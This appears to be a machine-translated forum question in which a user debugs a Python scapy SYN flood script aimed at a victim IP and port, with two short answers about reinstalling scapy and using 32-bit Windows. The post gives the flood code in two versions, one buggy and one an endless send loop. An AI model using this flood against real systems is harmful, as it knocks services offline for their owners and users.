synflood攻击的python错误

时间:2016-11-29 13:27:49

标签: python packet scapy

我正在为synflood攻击编写代码,但是当我通过python运行文件时,我收到了错误。

SYNFlood.py文件:

import sys
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)

但是当我使用以下命令运行文件时

python SYNFlood.py target_ip target_port

我收到以下错误:

enter image description here

我试图改变代码如下:

while (1==1):
    p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
    send(p, count=10)

但即使在cmd上我也能得到  enter image description here

当我在目标pc上运行命令netstat -A时,我看不到syn_recv数据包。

我试过

send(p, verbose=0, count=10)

但我在dst pc和src pc上都没有输出相应的命令。

2 个答案:

答案 0 :(得分:0)

尝试重新安装scapy或scapy3k。这听起来像构建问题。确认您使用的是正确的scapy版本。

答案 1 :(得分:0)

我发现我必须在Windows 32位版本上运行该程序。